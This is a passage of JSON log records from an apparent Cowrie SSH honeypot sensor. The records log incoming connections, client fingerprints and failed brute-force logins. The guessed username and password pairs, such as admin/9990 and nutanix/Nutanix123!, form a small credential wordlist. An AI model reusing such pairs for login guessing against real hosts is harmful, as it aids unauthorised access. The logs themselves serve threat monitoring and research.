sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:44.480185Z","src_ip":"172.210.249.152","session":"e4ad674220dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tfserver","password":"tfserver","message":"login attempt [tfserver/tfserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:44.566665Z","src_ip":"172.210.249.152","session":"e4ad674220dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:45.614312Z","src_ip":"172.210.249.152","session":"e4ad674220dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":46974,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b24dc596cc9","protocol":"ssh","message":"New connection: 3.130.168.2:46974 (159.203.135.109:22) [session: 6b24dc596cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:49.719567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:49.724264Z","src_ip":"3.130.168.2","session":"6b24dc596cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:49.752124Z","src_ip":"3.130.168.2","session":"6b24dc596cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":9230,"dst_ip":"159.203.135.109","dst_port":22,"session":"66f5d0c032e0","protocol":"ssh","message":"New connection: 2.57.121.112:9230 (159.203.135.109:22) [session: 66f5d0c032e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:51.224481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:51.228513Z","src_ip":"2.57.121.112","session":"66f5d0c032e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:51.322689Z","src_ip":"2.57.121.112","session":"66f5d0c032e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"9990","message":"login attempt [admin/9990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:51.777276Z","src_ip":"2.57.121.112","session":"66f5d0c032e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"989244342a","message":"login attempt [admin/989244342a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:52.875677Z","src_ip":"2.57.121.112","session":"66f5d0c032e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"9797","message":"login attempt [admin/9797] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:53.973098Z","src_ip":"2.57.121.112","session":"66f5d0c032e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":60091,"dst_ip":"10.17.0.5","dst_port":22,"session":"8308e515f9f4","protocol":"ssh","message":"New connection: 103.62.152.202:60091 (10.17.0.5:22) [session: 8308e515f9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:54.371399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:54.375370Z","src_ip":"103.62.152.202","session":"8308e515f9f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:54.645736Z","src_ip":"103.62.152.202","session":"8308e515f9f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"88keys","message":"login attempt [admin/88keys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:55.070124Z","src_ip":"2.57.121.112","session":"66f5d0c032e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roy","password":"roy123!","message":"login attempt [roy/roy123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:55.759954Z","src_ip":"103.62.152.202","session":"8308e515f9f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"863abgsg","message":"login attempt [admin/863abgsg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:56.167520Z","src_ip":"2.57.121.112","session":"66f5d0c032e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:57.032778Z","src_ip":"103.62.152.202","session":"8308e515f9f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:57.264832Z","src_ip":"2.57.121.112","session":"66f5d0c032e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:05:59.719877Z","src_ip":"3.130.168.2","session":"6b24dc596cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":60336,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f0b2064e6d0","protocol":"ssh","message":"New connection: 92.118.39.92:60336 (159.203.135.109:22) [session: 9f0b2064e6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:06:22.045634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:06:22.049967Z","src_ip":"92.118.39.92","session":"9f0b2064e6d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:06:22.153887Z","src_ip":"92.118.39.92","session":"9f0b2064e6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest","message":"login attempt [ftptest/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:06:22.467495Z","src_ip":"92.118.39.92","session":"9f0b2064e6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:06:23.573661Z","src_ip":"92.118.39.92","session":"9f0b2064e6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":49426,"dst_ip":"159.203.135.109","dst_port":22,"session":"77bd5bda30ab","protocol":"ssh","message":"New connection: 3.130.168.2:49426 (159.203.135.109:22) [session: 77bd5bda30ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:07:12.737284Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xa4\\xdb*.\\x9a\\xbe\\xa5\\x98\rz\\xc7i\\xe8j@\u00c3=\\xa4\\xe7\u04ba7\u07d2B\\xda;*\\xea\\x8f\\xe0\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xa4\\xdb*.\\x9a\\xbe\\xa5\\x98\rz\\xc7i\\xe8j@\u00c3=\\xa4\\xe7\u04ba7\u07d2B\\xda;*\\xea\\x8f\\xe0\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:07:12.741767Z","src_ip":"3.130.168.2","session":"77bd5bda30ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:07:12.744902Z","src_ip":"3.130.168.2","session":"77bd5bda30ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":41258,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b5da84e0387","protocol":"ssh","message":"New connection: 116.71.136.125:41258 (10.17.0.5:22) [session: 3b5da84e0387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:07:35.560488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:07:35.564027Z","src_ip":"116.71.136.125","session":"3b5da84e0387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:07:35.792006Z","src_ip":"116.71.136.125","session":"3b5da84e0387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"Nutanix123!","message":"login attempt [nutanix/Nutanix123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:07:36.732221Z","src_ip":"116.71.136.125","session":"3b5da84e0387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:07:37.962050Z","src_ip":"116.71.136.125","session":"3b5da84e0387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.37.177.219","src_port":39948,"dst_ip":"159.203.135.109","dst_port":22,"session":"18fa9ddabb06","protocol":"ssh","message":"New connection: 153.37.177.219:39948 (159.203.135.109:22) [session: 18fa9ddabb06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:12.352477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:13.150253Z","src_ip":"153.37.177.219","session":"18fa9ddabb06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"acaa53e0a7d7ac7d1255103f37901306","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,ext-info-c;des,3des,blowfish,none,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,arcfour128,arcfour256,aes128-cbc,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-512,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-ripemd160-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","ext-info-c"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss","ssh-dss-cert-v01@openssh.com"],"encCS":["des","3des","blowfish","none","3des-cbc","blowfish-cbc","cast128-cbc","arcfour","arcfour128","arcfour256","aes128-cbc","aes192-cbc","aes256-cbc","rijndael-cbc@lysator.liu.se","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-512","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-ripemd160-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: acaa53e0a7d7ac7d1255103f37901306","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:13.153735Z","src_ip":"153.37.177.219","session":"18fa9ddabb06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":47554,"dst_ip":"10.17.0.5","dst_port":22,"session":"19e50df13f61","protocol":"ssh","message":"New connection: 103.62.152.202:47554 (10.17.0.5:22) [session: 19e50df13f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:14.915072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:14.918785Z","src_ip":"103.62.152.202","session":"19e50df13f61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:15.189214Z","src_ip":"103.62.152.202","session":"19e50df13f61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Unknown","password":"1qaz2wsx","message":"login attempt [Unknown/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:15.282994Z","src_ip":"153.37.177.219","session":"18fa9ddabb06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"Runner123!","message":"login attempt [runner/Runner123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:16.303236Z","src_ip":"103.62.152.202","session":"19e50df13f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:08:16.994639Z","src_ip":"153.37.177.219","session":"18fa9ddabb06","protocol":"ssh"}
